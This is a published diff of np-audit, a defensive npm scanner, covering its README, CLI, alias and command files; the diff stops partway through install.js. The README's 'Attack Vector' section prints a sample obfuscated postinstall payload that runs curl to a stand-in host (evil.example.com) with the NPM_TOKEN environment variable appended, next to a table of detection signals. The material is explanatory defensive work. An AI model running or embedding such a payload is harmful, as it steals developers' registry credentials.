np-audit 1.5.1 → 2.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +117 -182
- package/package.json +1 -1
- package/src/cli.js +18 -3
- package/src/commands/alias.js +30 -11
- package/src/commands/ci.js +5 -2
- package/src/commands/install.js +5 -2
- package/src/commands/scan.js +5 -2
- package/src/core/detector.js +8 -28
- package/src/core/scanner.js +173 -42
- package/src/marshallers/base.js +18 -0
- package/src/marshallers/base64Exec.js +23 -0
- package/src/marshallers/childProcess.js +32 -0
- package/src/marshallers/cve.js +116 -0
- package/src/marshallers/eval.js +30 -0
- package/src/marshallers/filesystemManipulation.js +47 -0
- package/src/marshallers/fromCharCode.js +40 -0
- package/src/marshallers/hexArray.js +21 -0
- package/src/marshallers/hexEscapes.js +27 -0
- package/src/marshallers/highEntropy.js +70 -0
- package/src/marshallers/index.js +25 -0
- package/src/marshallers/networkCalls.js +30 -0
- package/src/marshallers/obfuscatorIo.js +22 -0
- package/src/marshallers/processEnv.js +17 -0
- package/src/marshallers/runtimeDownload.js +73 -0
- package/src/marshallers/vscodeTasks.js +29 -0
- package/src/utils/config.js +2 -0
- package/src/utils/entropy.js +15 -0
- package/src/utils/fetcher.js +5 -4
- package/src/utils/output.js +39 -9
package/README.md
CHANGED
|
@@ -5,101 +5,82 @@
|
|
|
5
5
|
[](https://www.npmjs.com/package/np-audit)
|
|
6
6
|
[](https://github.com/KoblerS/np-audit/blob/main/LICENSE)
|
|
7
7
|
[](https://github.com/KoblerS/np-audit/actions/workflows/ci.yml)
|
|
8
|
+
[](https://codecov.io/gh/KoblerS/np-audit)
|
|
8
9
|
|
|
9
10
|
# np-audit — npm package auditor
|
|
10
11
|
|
|
11
|
-
|
|
12
|
+
Static security analysis for npm packages — detects obfuscated lifecycle scripts, known vulnerabilities, and malicious patterns **before** they run. Drop-in replacement for `npm install` and `npm ci`.
|
|
12
13
|
|
|
13
14
|
**Zero dependencies.** Pure Node.js built-ins only.
|
|
14
15
|
|
|
15
|
-
|
|
16
|
+
```bash
|
|
17
|
+
npx np-audit scan express
|
|
18
|
+
```
|
|
16
19
|
|
|
17
|
-
|
|
20
|
+
```bash
|
|
21
|
+
npm install -g np-audit
|
|
22
|
+
npa scan # scan all deps
|
|
23
|
+
npa install # audit then install
|
|
24
|
+
alias npm='npa' # use as drop-in replacement
|
|
25
|
+
```
|
|
18
26
|
|
|
19
|
-
|
|
27
|
+
---
|
|
20
28
|
|
|
21
|
-
|
|
22
|
-
{
|
|
23
|
-
"scripts": {
|
|
24
|
-
"postinstall": "node ./dist/install.js"
|
|
25
|
-
}
|
|
26
|
-
}
|
|
27
|
-
```
|
|
29
|
+
## Marshallers
|
|
28
30
|
|
|
29
|
-
|
|
31
|
+
Detection is split into modular marshallers — each one detects a single attack signal:
|
|
30
32
|
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
33
|
+
| Marshaller | What it detects | Score |
|
|
34
|
+
| ---------- | --------------- | ----- |
|
|
35
|
+
| `eval/dynamic-exec` | `eval()`, `new Function()`, indirect eval, `vm.*`, `setTimeout` with string | 8 |
|
|
36
|
+
| `obfuscator.io` | `_0x` variable naming patterns (obfuscator.io output) | 9–80 |
|
|
37
|
+
| `high-entropy-string` | Long strings or concatenation chains with high Shannon entropy | 6 |
|
|
38
|
+
| `hex-escape-density` | Dense `\xNN` and `\uXXXX` escape sequences | 5–50 |
|
|
39
|
+
| `fromCharCode` | `String.fromCharCode` with many args, large decimal char-code arrays | 7 |
|
|
40
|
+
| `encoded-decode` | Base64/hex decode (`atob`, `Buffer.from`) optionally combined with `eval` | 3–8 |
|
|
41
|
+
| `child-process` | `require('child_process')`, `exec`, `spawn`, `fork`, worker_threads | 5 |
|
|
42
|
+
| `hex-array` | Large numbers of `0x` hex literal values | 7–60 |
|
|
43
|
+
| `process-env` | `process.env` access (credential exfiltration signal) | 3 |
|
|
44
|
+
| `network-call` | `require('https')`, `fetch()`, `dns`, `net`, `tls` | 4 |
|
|
45
|
+
| `filesystem-manipulation` | `fs.writeFile`, `chmod`, `symlink` (backdoor persistence) | 3–4 |
|
|
46
|
+
| `runtime-download` | Downloads and executes external runtimes (Bun, Deno) | 9–50 |
|
|
47
|
+
| `vscode-autorun` | VS Code tasks with `runOn: folderOpen` (auto-execution) | 30 |
|
|
48
|
+
| `known-vulnerability` | Known CVEs via Snyk API or OSV.dev | 4–6 (WARN), 80 (malicious) |
|
|
36
49
|
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
- **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — cryptocurrency miner + info-stealer injected via hijacked maintainer account
|
|
41
|
-
- **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — wiper malware targeting systems by geo-IP
|
|
42
|
-
- **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — deliberate sabotage by the maintainer via postinstall
|
|
43
|
-
- **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — compromised npm package targeting SAP developers
|
|
44
|
-
|
|
45
|
-
**`npa` never executes the scripts.** It downloads and statically analyzes them, detecting:
|
|
46
|
-
|
|
47
|
-
| Signal | Example |
|
|
48
|
-
| ------------------------------ | ------------------------------------------ |
|
|
49
|
-
| `eval()` / `new Function()` | `eval(atob("aGVsbG8="))` |
|
|
50
|
-
| Indirect eval | `(0, eval)(x)`, `globalThis['ev'+'al'](x)` |
|
|
51
|
-
| Function constructor prototype | `({}).constructor.constructor("…")()` |
|
|
52
|
-
| `setTimeout` with string arg | `setTimeout('alert(1)', 100)` |
|
|
53
|
-
| Obfuscator.io patterns | `var _0x3f2a = [...]` |
|
|
54
|
-
| High-entropy strings | Encrypted/compressed payloads |
|
|
55
|
-
| Split-literal high entropy | `'aB' + 'cD' + 'eF' + …` (concat chain) |
|
|
56
|
-
| Hex / Unicode escape density | `\x68\x65\x6c\x6c\x6f`, `\u0068\u0065…` |
|
|
57
|
-
| `String.fromCharCode()` chains | `String.fromCharCode(104,101,108,108,111)` |
|
|
58
|
-
| Decimal char-code arrays | `[101,118,97,108,...]` (printable ASCII) |
|
|
59
|
-
| Base64 / hex decode + exec | `Buffer.from(x,'base64'\|'hex')` + `eval` |
|
|
60
|
-
| Shell spawning | `require('child_process').exec(...)` |
|
|
61
|
-
| `worker_threads` | `new Worker(...)`, eval-class surface |
|
|
62
|
-
| Concealed `require` | `require('child' + '_process')` |
|
|
63
|
-
| Dynamic `require` / `import` | `require(variable)`, `import(expr)` |
|
|
64
|
-
| Large hex literal arrays | `[0x1a, 0x2b, 0x3c, ...]` × 20+ |
|
|
65
|
-
| `process.env` access | Token/credential harvesting |
|
|
66
|
-
| Outbound network calls | `https`/`http`/`net`/`dns`/`tls`/`dgram`/`http2`, `node:` prefix, dynamic `import()` |
|
|
67
|
-
| Missing referenced script | Command references file not in tarball |
|
|
68
|
-
| Oversized require graph | Postinstall reaches >50 files or >5 MB |
|
|
69
|
-
|
|
70
|
-
### Coverage beyond the entry script
|
|
71
|
-
|
|
72
|
-
`npa` doesn't just inspect the single file named in the lifecycle command. It:
|
|
73
|
-
|
|
74
|
-
- Splits chained commands (`&&`, `||`, `;`, `|`) and analyses each segment, so `node setup.js && node payload.js` no longer hides the second invocation.
|
|
75
|
-
- Handles `node -e "…"`, `sh -c "…"`, `python -c "…"` by analysing the inline code rather than just the wrapper command.
|
|
76
|
-
- Reads shell scripts (`sh ./install.sh`), Python scripts, and shebang-invoked files — not only `node` targets.
|
|
77
|
-
- Follows internal `require('./…')` and `import './…'` chains across the package (with cycle detection and per-package caps), so payloads hidden in helper files like `lib/helper.js` are caught.
|
|
78
|
-
- Records dynamic `require(variable)` / `import(expr)` calls as findings, since they can't be resolved statically.
|
|
79
|
-
- Scans the project's **own** `package.json` lifecycle scripts by default, catching PRs and supply-chain attacks that target the repository itself. Opt out with `scanSelf: false` in `.npmauditor.json`.
|
|
80
|
-
- Inspects **all** lifecycle scripts npm may run, not only `preinstall`/`install`/`postinstall`: also `prepare`, `preprepare`, `postprepare`, and `prepublish`.
|
|
50
|
+
Scores scale with severity — higher counts of obfuscation indicators produce higher scores. The final verdict is based on the highest individual score across all marshallers.
|
|
51
|
+
|
|
52
|
+
See [CONTRIBUTING.md](CONTRIBUTING.md) for how to write custom marshallers.
|
|
81
53
|
|
|
82
54
|
---
|
|
83
55
|
|
|
84
|
-
##
|
|
56
|
+
## Vulnerability Scanning (CVE)
|
|
85
57
|
|
|
86
|
-
|
|
58
|
+
Every scanned package is checked against known vulnerability databases alongside the code analysis.
|
|
87
59
|
|
|
88
|
-
|
|
89
|
-
npm install -g np-audit
|
|
90
|
-
```
|
|
60
|
+
**Default: OSV.dev (no setup required)**
|
|
91
61
|
|
|
92
|
-
|
|
62
|
+
Works out of the box — queries the free [OSV.dev](https://osv.dev/) API for known vulnerabilities and malicious package advisories.
|
|
63
|
+
|
|
64
|
+
**Optional: Snyk API (richer data)**
|
|
93
65
|
|
|
94
66
|
```bash
|
|
95
|
-
|
|
67
|
+
# Environment variable
|
|
68
|
+
export SNYK_API_TOKEN=your-token-here
|
|
69
|
+
|
|
70
|
+
# Or via Snyk CLI
|
|
71
|
+
snyk auth
|
|
96
72
|
```
|
|
97
73
|
|
|
98
|
-
|
|
74
|
+
Token resolution order: `SNYK_API_TOKEN` → `SNYK_TOKEN` → `~/.config/configstore/snyk.json`
|
|
99
75
|
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
76
|
+
| Severity | Score | Verdict |
|
|
77
|
+
| -------- | ----- | ------- |
|
|
78
|
+
| Malicious package | 80 | DANGER |
|
|
79
|
+
| 10+ vulnerabilities | 6 | WARN |
|
|
80
|
+
| 5–9 vulnerabilities | 5 | WARN |
|
|
81
|
+
| 1–4 vulnerabilities | 4 | WARN |
|
|
82
|
+
|
|
83
|
+
Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.
|
|
103
84
|
|
|
104
85
|
---
|
|
105
86
|
|
|
@@ -111,14 +92,13 @@ npa --version
|
|
|
111
92
|
| ------------------------------ | ----------- | ---------------------------------- |
|
|
112
93
|
| `npa install [package]` | `npa i` | Audit then run `npm install` |
|
|
113
94
|
| `npa ci` | — | Audit then run `npm ci` |
|
|
114
|
-
| `npa scan`
|
|
95
|
+
| `npa scan [package]` | `npa s` | Scan only, no install |
|
|
115
96
|
| `npa config get` | `npa c get` | Show current configuration |
|
|
116
97
|
| `npa config set <key> <value>` | `npa c set` | Update a config value |
|
|
117
|
-
| `npa alias`
|
|
118
|
-
| `npa alias --
|
|
119
|
-
| `npa alias --uninstall` | — | Remove hook from shell profile |
|
|
98
|
+
| `npa alias --install` | — | Install shell alias |
|
|
99
|
+
| `npa alias --uninstall` | — | Remove shell alias |
|
|
120
100
|
|
|
121
|
-
|
|
101
|
+
Any unrecognized command is forwarded to npm (e.g. `npa run test`, `npa publish`).
|
|
122
102
|
|
|
123
103
|
### Flags
|
|
124
104
|
|
|
@@ -128,41 +108,13 @@ Use `npa <command> -h` for detailed help on any command.
|
|
|
128
108
|
| `--json` | — | `install`, `ci`, `scan` | Machine-readable JSON output |
|
|
129
109
|
| `--no-dev` | — | `install`, `ci`, `scan` | Skip devDependencies |
|
|
130
110
|
| `--verbose` | — | all | Show fetch progress and extra detail |
|
|
131
|
-
| `--version` |
|
|
111
|
+
| `--version` | `-v` | — | Print version and exit |
|
|
132
112
|
| `--help` | `-h` | — | Print help and exit |
|
|
133
113
|
|
|
134
|
-
### Drop-in replacement for `npm install`
|
|
135
|
-
|
|
136
|
-
```bash
|
|
137
|
-
# Audit all dependencies, then install if clean
|
|
138
|
-
npa install # or: npa i
|
|
139
|
-
|
|
140
|
-
# Audit a specific package before adding it
|
|
141
|
-
npa i express
|
|
142
|
-
```
|
|
143
|
-
|
|
144
|
-
### Drop-in replacement for `npm ci`
|
|
145
|
-
|
|
146
|
-
```bash
|
|
147
|
-
npa ci
|
|
148
|
-
```
|
|
149
|
-
|
|
150
|
-
### Scan only (no install)
|
|
151
|
-
|
|
152
|
-
```bash
|
|
153
|
-
npa scan # or: npa s
|
|
154
|
-
npa s --json # machine-readable output
|
|
155
|
-
npa s --no-dev # skip devDependencies
|
|
156
|
-
npa s --verbose # show fetch progress
|
|
157
|
-
```
|
|
158
|
-
|
|
159
114
|
### Interactive `--review` mode
|
|
160
115
|
|
|
161
|
-
Review each install script yourself and decide which to allow:
|
|
162
|
-
|
|
163
116
|
```bash
|
|
164
|
-
npa
|
|
165
|
-
npa ci --review
|
|
117
|
+
npa install --review
|
|
166
118
|
```
|
|
167
119
|
|
|
168
120
|
```
|
|
@@ -178,111 +130,94 @@ npa ci --review
|
|
|
178
130
|
2 allowed 1 denied
|
|
179
131
|
```
|
|
180
132
|
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
### Configuration
|
|
133
|
+
---
|
|
184
134
|
|
|
185
|
-
|
|
186
|
-
# Show current config
|
|
187
|
-
npa config get
|
|
135
|
+
## Configuration
|
|
188
136
|
|
|
189
|
-
|
|
190
|
-
npa config set blockScore 6 # block at score 6+ (default: 7)
|
|
191
|
-
npa config set warnScore 3 # warn at score 3+ (default: 4)
|
|
137
|
+
Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json`.
|
|
192
138
|
|
|
193
|
-
|
|
194
|
-
npa config
|
|
195
|
-
npa config set
|
|
139
|
+
```bash
|
|
140
|
+
npa config get # Show current config
|
|
141
|
+
npa config set blockScore 6 # Block at score 6+
|
|
142
|
+
npa config set skipPackages '["esbuild"]' # Trust specific packages
|
|
143
|
+
npa config set skipScopes '["@types"]' # Trust entire scopes
|
|
196
144
|
```
|
|
197
145
|
|
|
198
|
-
|
|
146
|
+
### All config keys
|
|
199
147
|
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
148
|
+
| Key | Default | Description |
|
|
149
|
+
| ----------------- | ---------------------------- | --------------------------------------- |
|
|
150
|
+
| `blockScore` | `7` | Score threshold for DANGER (exit 1) |
|
|
151
|
+
| `warnScore` | `4` | Score threshold for WARN (exit 0) |
|
|
152
|
+
| `registry` | `https://registry.npmjs.org` | npm registry URL |
|
|
153
|
+
| `timeout` | `30000` | HTTP request timeout (ms) |
|
|
154
|
+
| `parallelFetches` | `5` | Concurrent downloads |
|
|
155
|
+
| `skipScopes` | `[]` | `@scope` prefixes to skip |
|
|
156
|
+
| `skipPackages` | `[]` | Package names to skip |
|
|
157
|
+
| `silent` | `false` | Suppress output when no issues found |
|
|
158
|
+
| `scanSelf` | `true` | Scan own project lifecycle scripts |
|
|
159
|
+
| `maxTarballSize` | `50MB` | Max unpacked tarball size (bomb protection) |
|
|
160
|
+
| `checkVulnerabilities` | `true` | Check packages against CVE databases |
|
|
161
|
+
| `deepResolve` | `false` | Resolve full transitive dependency tree |
|
|
203
162
|
|
|
204
|
-
|
|
205
|
-
# Install the hook to your shell profile (~/.zshrc or ~/.bashrc)
|
|
206
|
-
npa alias --install
|
|
163
|
+
---
|
|
207
164
|
|
|
208
|
-
|
|
209
|
-
source ~/.zshrc # or ~/.bashrc
|
|
210
|
-
```
|
|
165
|
+
## Shell Alias
|
|
211
166
|
|
|
212
|
-
|
|
167
|
+
Use npa as a transparent npm replacement:
|
|
213
168
|
|
|
214
169
|
```bash
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
✔ No packages with install scripts found.
|
|
218
|
-
[npa] Scan passed. Running npm install...
|
|
170
|
+
npa alias --install # adds: alias npm='npa'
|
|
171
|
+
source ~/.zshrc # reload shell
|
|
219
172
|
```
|
|
220
173
|
|
|
221
|
-
|
|
174
|
+
Now `npm install`, `npm ci` scan automatically. All other npm commands (`npm run`, `npm test`, `npm publish`) pass through unchanged.
|
|
222
175
|
|
|
223
176
|
```bash
|
|
224
|
-
|
|
225
|
-
[npa] Scanning dependencies before npm install...
|
|
226
|
-
✗ evil-pkg@1.0.0 DANGER (score: 9)
|
|
227
|
-
[npa] Scan found issues. Run 'npa install --review' for interactive mode.
|
|
177
|
+
npa alias --uninstall # remove the alias
|
|
228
178
|
```
|
|
229
179
|
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
```bash
|
|
233
|
-
npa alias --uninstall
|
|
234
|
-
```
|
|
180
|
+
---
|
|
235
181
|
|
|
236
|
-
|
|
182
|
+
## How It Works
|
|
237
183
|
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
| `skipScopes` | `[]` | `@scope` prefixes to skip entirely |
|
|
246
|
-
| `skipPackages` | `[]` | Specific package names to skip |
|
|
247
|
-
| `silent` | `false` | Suppress output when no issues found |
|
|
248
|
-
| `scanSelf` | `true` | Also scan the current project's own `package.json` lifecycle scripts |
|
|
184
|
+
1. **Parse** `package-lock.json` (v1/v2/v3) or resolve from `package.json`
|
|
185
|
+
2. **Fetch** tarballs from registry (or read from `node_modules`)
|
|
186
|
+
3. **Parse** lifecycle commands — splits `&&`/`||`/`;`/`|`, handles `node -e`, `sh -c`, shell scripts
|
|
187
|
+
4. **Walk** the `require()`/`import` graph from each entry (cycle detection, 50 file / 5 MB cap)
|
|
188
|
+
5. **Analyze** with all marshallers — static code checks + CVE database queries
|
|
189
|
+
6. **Score** and classify: DANGER / WARN / OK
|
|
190
|
+
7. **Report** or proceed with install
|
|
249
191
|
|
|
250
192
|
---
|
|
251
193
|
|
|
252
|
-
##
|
|
194
|
+
## The Attack Vector
|
|
253
195
|
|
|
254
|
-
|
|
255
|
-
| ---- | ----------------------------------- |
|
|
256
|
-
| `0` | All packages clean or only warnings |
|
|
257
|
-
| `1` | One or more packages blocked |
|
|
196
|
+
Supply chain attacks abuse npm lifecycle scripts. When you run `npm install`, any `preinstall`/`install`/`postinstall` script runs automatically. Attackers hide payloads behind obfuscation:
|
|
258
197
|
|
|
259
|
-
|
|
198
|
+
```js
|
|
199
|
+
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
|
|
200
|
+
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
Real-world incidents:
|
|
260
204
|
|
|
261
|
-
|
|
205
|
+
- **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — Bitcoin wallet credential theft
|
|
206
|
+
- **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — crypto miner + info-stealer
|
|
207
|
+
- **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — geo-targeted wiper malware
|
|
208
|
+
- **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — maintainer sabotage
|
|
209
|
+
- **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — compromised package targeting enterprise developers
|
|
262
210
|
|
|
263
|
-
|
|
264
|
-
2. **Filter** packages: skip dev deps (`--no-dev`), skipped scopes/packages, packages without install scripts
|
|
265
|
-
3. **Fetch or read** — for packages in `node_modules`: read from disk. For packages not yet installed: download the tarball from the npm registry and parse it in memory (pure Node.js tar.gz reader, no `tar` package)
|
|
266
|
-
4. **Parse the lifecycle command** — split on `&&` / `||` / `;` / `|`, classify each segment by interpreter (`node`, `sh`, `python`, `bun`, …), and treat `node -e` / `sh -c` arguments as inline code
|
|
267
|
-
5. **Walk the require/import graph** from each entry script — following internal `./` / `../` paths, with cycle detection and per-package caps (50 files / 5 MB)
|
|
268
|
-
6. **Analyze** every reached file statically across all lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`, `preprepare`, `postprepare`, `prepublish`) — never execute
|
|
269
|
-
7. **Also scan the current project's own** `package.json` lifecycle scripts (unless `scanSelf: false`)
|
|
270
|
-
8. **Score** findings (0–10 per signal), classify as DANGER / WARN / OK based on config thresholds
|
|
271
|
-
9. **Report** results to terminal or `--json` — each finding is tagged with the file it came from
|
|
272
|
-
10. **Proceed** — run npm normally, or in `--review` mode let you selectively allow scripts
|
|
211
|
+
`npa` **never executes** scripts. It downloads and statically analyzes them.
|
|
273
212
|
|
|
274
213
|
---
|
|
275
214
|
|
|
276
|
-
##
|
|
215
|
+
## Exit Codes
|
|
277
216
|
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
npm link # install npa globally from source
|
|
283
|
-
```
|
|
284
|
-
|
|
285
|
-
No build step, no transpilation — plain Node.js ≥ 18.
|
|
217
|
+
| Code | Meaning |
|
|
218
|
+
| ---- | ----------------------------------- |
|
|
219
|
+
| `0` | All clean or only warnings |
|
|
220
|
+
| `1` | One or more packages blocked |
|
|
286
221
|
|
|
287
222
|
---
|
|
288
223
|
|
package/package.json
CHANGED
package/src/cli.js
CHANGED
|
@@ -17,7 +17,7 @@ function buildMainHelp() {
|
|
|
17
17
|
|
|
18
18
|
return `
|
|
19
19
|
npa — npm package auditor ${VERSION}
|
|
20
|
-
|
|
20
|
+
Static security analysis for npm packages.
|
|
21
21
|
|
|
22
22
|
Usage:
|
|
23
23
|
${lines.join('\n')}
|
|
@@ -100,14 +100,29 @@ async function main() {
|
|
|
100
100
|
}
|
|
101
101
|
|
|
102
102
|
if (flags.help || !command) {
|
|
103
|
+
output.printLogo(VERSION);
|
|
103
104
|
process.stdout.write(buildMainHelp() + '\n');
|
|
104
105
|
return;
|
|
105
106
|
}
|
|
106
107
|
|
|
107
108
|
const cmd = commands.get(command);
|
|
108
109
|
if (!cmd) {
|
|
109
|
-
|
|
110
|
-
|
|
110
|
+
// Forward unknown commands to npm (allows `alias npm='npa'`)
|
|
111
|
+
const { spawnSync } = require('child_process');
|
|
112
|
+
const npmCmd = process.platform === 'win32' ? 'npm.cmd' : 'npm';
|
|
113
|
+
const result = spawnSync(npmCmd, process.argv.slice(2), {
|
|
114
|
+
stdio: 'inherit',
|
|
115
|
+
cwd,
|
|
116
|
+
});
|
|
117
|
+
process.exit(result.status || 0);
|
|
118
|
+
return;
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
// Deprecation notice for old shell hook
|
|
122
|
+
if (process.env.NPA_RUNNING && !flags.json && !config.silent) {
|
|
123
|
+
output.warn('Deprecated: The old npa shell hook is no longer needed.');
|
|
124
|
+
output.log(output.dim(' Run: npa alias --install to upgrade to the simpler alias.'));
|
|
125
|
+
output.log('');
|
|
111
126
|
}
|
|
112
127
|
|
|
113
128
|
// Fire update check only for scan/install/ci commands (non-blocking)
|
package/src/commands/alias.js
CHANGED
|
@@ -6,10 +6,10 @@ const os = require('os');
|
|
|
6
6
|
const output = require('../utils/output');
|
|
7
7
|
|
|
8
8
|
const BASH_HOOK = `# npa npm hook
|
|
9
|
-
|
|
9
|
+
alias npm='npa'`;
|
|
10
10
|
|
|
11
11
|
const POWERSHELL_HOOK = `# npa npm hook
|
|
12
|
-
|
|
12
|
+
Set-Alias -Name npm -Value npa`;
|
|
13
13
|
|
|
14
14
|
module.exports = {
|
|
15
15
|
name: 'alias',
|
|
@@ -18,20 +18,21 @@ module.exports = {
|
|
|
18
18
|
|
|
19
19
|
help() {
|
|
20
20
|
return `
|
|
21
|
-
npa alias — Shell
|
|
21
|
+
npa alias — Shell alias to use npa as an npm drop-in replacement
|
|
22
22
|
|
|
23
23
|
Usage:
|
|
24
|
-
npa alias Print the shell
|
|
25
|
-
npa alias --install Add
|
|
26
|
-
npa alias --uninstall Remove
|
|
24
|
+
npa alias Print the shell alias
|
|
25
|
+
npa alias --install Add alias to shell profile (~/.zshrc or ~/.bashrc)
|
|
26
|
+
npa alias --uninstall Remove alias from shell profile
|
|
27
27
|
|
|
28
|
-
|
|
29
|
-
|
|
28
|
+
With the alias active, all npm commands pass through npa.
|
|
29
|
+
Install/ci/add commands are scanned before execution.
|
|
30
|
+
All other commands (run, test, publish, etc.) forward directly to npm.
|
|
30
31
|
|
|
31
32
|
Examples:
|
|
32
|
-
npa alias Print
|
|
33
|
+
npa alias Print alias for manual installation
|
|
33
34
|
npa alias --install Auto-install to detected shell
|
|
34
|
-
eval "$(npa alias)" Load
|
|
35
|
+
eval "$(npa alias)" Load alias in current session only
|
|
35
36
|
`;
|
|
36
37
|
},
|
|
37
38
|
|
|
@@ -86,7 +87,9 @@ function doUninstall(profilePath) {
|
|
|
86
87
|
return;
|
|
87
88
|
}
|
|
88
89
|
|
|
89
|
-
|
|
90
|
+
// Remove all known hook formats (old function, new alias)
|
|
91
|
+
const cleaned = content
|
|
92
|
+
.replace(/\n*# npa npm hook\n(?:npm\(\) \{[\s\S]*?\n\}|npm\(\)[^\n]+|alias npm='npa'|Set-Alias[^\n]*)\n*/g, '\n');
|
|
90
93
|
fs.writeFileSync(profilePath, cleaned);
|
|
91
94
|
output.success(`Removed npa hook from ${profilePath}`);
|
|
92
95
|
output.log(output.dim(' Run: source ' + profilePath + ' (or restart your terminal)'));
|
|
@@ -100,6 +103,22 @@ function doInstall(hook, profilePath) {
|
|
|
100
103
|
}
|
|
101
104
|
|
|
102
105
|
const content = fs.existsSync(profilePath) ? fs.readFileSync(profilePath, 'utf8') : '';
|
|
106
|
+
|
|
107
|
+
// Migrate from old format (function or multi-line) to new alias
|
|
108
|
+
const hasOldHook = content.includes('# npa npm hook') && !content.includes("alias npm='npa'");
|
|
109
|
+
if (hasOldHook) {
|
|
110
|
+
output.warn('Deprecated: The old npm() shell function hook is no longer needed.');
|
|
111
|
+
output.log(output.dim(' npa now forwards unknown commands to npm directly.'));
|
|
112
|
+
output.log(output.dim(' Replacing with: alias npm=\'npa\''));
|
|
113
|
+
output.log('');
|
|
114
|
+
const migrated = content
|
|
115
|
+
.replace(/\n*# npa npm hook\n(?:npm\(\) \{[\s\S]*?\n\}|npm\(\)[^\n]+)\n*/g, '\n\n' + hook + '\n');
|
|
116
|
+
fs.writeFileSync(profilePath, migrated);
|
|
117
|
+
output.success(`Migrated npa hook to new format in ${profilePath}`);
|
|
118
|
+
output.log(output.dim(' Run: source ' + profilePath + ' (or restart your terminal)'));
|
|
119
|
+
return;
|
|
120
|
+
}
|
|
121
|
+
|
|
103
122
|
if (content.includes('# npa npm hook')) {
|
|
104
123
|
output.warn('npa hook already installed in ' + profilePath);
|
|
105
124
|
return;
|
package/src/commands/ci.js
CHANGED
|
@@ -30,7 +30,10 @@ module.exports = {
|
|
|
30
30
|
},
|
|
31
31
|
|
|
32
32
|
async run({ flags, config, cwd }) {
|
|
33
|
+
const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
|
|
34
|
+
if (spinner) spinner.start();
|
|
33
35
|
const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
|
|
36
|
+
if (spinner) spinner.stop();
|
|
34
37
|
const hasIssues = results.some(r => r.verdict !== 'OK');
|
|
35
38
|
const silent = config.silent && !hasIssues;
|
|
36
39
|
|
|
@@ -45,7 +48,7 @@ module.exports = {
|
|
|
45
48
|
const blocked = results.filter(r => r.verdict === 'BLOCK');
|
|
46
49
|
|
|
47
50
|
if (blocked.length > 0 && !flags.review) {
|
|
48
|
-
output.error(`${blocked.length} package(s) blocked
|
|
51
|
+
output.error(`${blocked.length} package(s) blocked — suspicious or malicious packages detected.`);
|
|
49
52
|
process.exit(1);
|
|
50
53
|
}
|
|
51
54
|
|
|
@@ -62,7 +65,7 @@ module.exports = {
|
|
|
62
65
|
function printResults(results, silent = false) {
|
|
63
66
|
if (silent) return;
|
|
64
67
|
if (results.length === 0) {
|
|
65
|
-
output.success('No
|
|
68
|
+
output.success('No issues found.');
|
|
66
69
|
return;
|
|
67
70
|
}
|
|
68
71
|
for (const r of results) {
|
package/src/commands/install.js
CHANGED
|
@@ -33,6 +33,8 @@ module.exports = {
|
|
|
33
33
|
async run({ args, flags, config, cwd }) {
|
|
34
34
|
const packages = args.filter(a => !a.startsWith('-'));
|
|
35
35
|
|
|
36
|
+
const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
|
|
37
|
+
if (spinner) spinner.start();
|
|
36
38
|
const results = await scan({
|
|
37
39
|
cwd,
|
|
38
40
|
config,
|
|
@@ -40,6 +42,7 @@ module.exports = {
|
|
|
40
42
|
verbose: flags.verbose,
|
|
41
43
|
packages: packages.length > 0 ? packages : null,
|
|
42
44
|
});
|
|
45
|
+
if (spinner) spinner.stop();
|
|
43
46
|
|
|
44
47
|
const hasIssues = results.some(r => r.verdict !== 'OK');
|
|
45
48
|
const silent = config.silent && !hasIssues;
|
|
@@ -55,7 +58,7 @@ module.exports = {
|
|
|
55
58
|
const blocked = results.filter(r => r.verdict === 'BLOCK');
|
|
56
59
|
|
|
57
60
|
if (blocked.length > 0 && !flags.review) {
|
|
58
|
-
output.error(`${blocked.length} package(s) blocked
|
|
61
|
+
output.error(`${blocked.length} package(s) blocked — suspicious or malicious packages detected.`);
|
|
59
62
|
output.log(output.dim(' Run with --review to interactively decide which scripts to allow.'));
|
|
60
63
|
process.exit(1);
|
|
61
64
|
}
|
|
@@ -81,7 +84,7 @@ module.exports = {
|
|
|
81
84
|
function printResults(results, silent = false) {
|
|
82
85
|
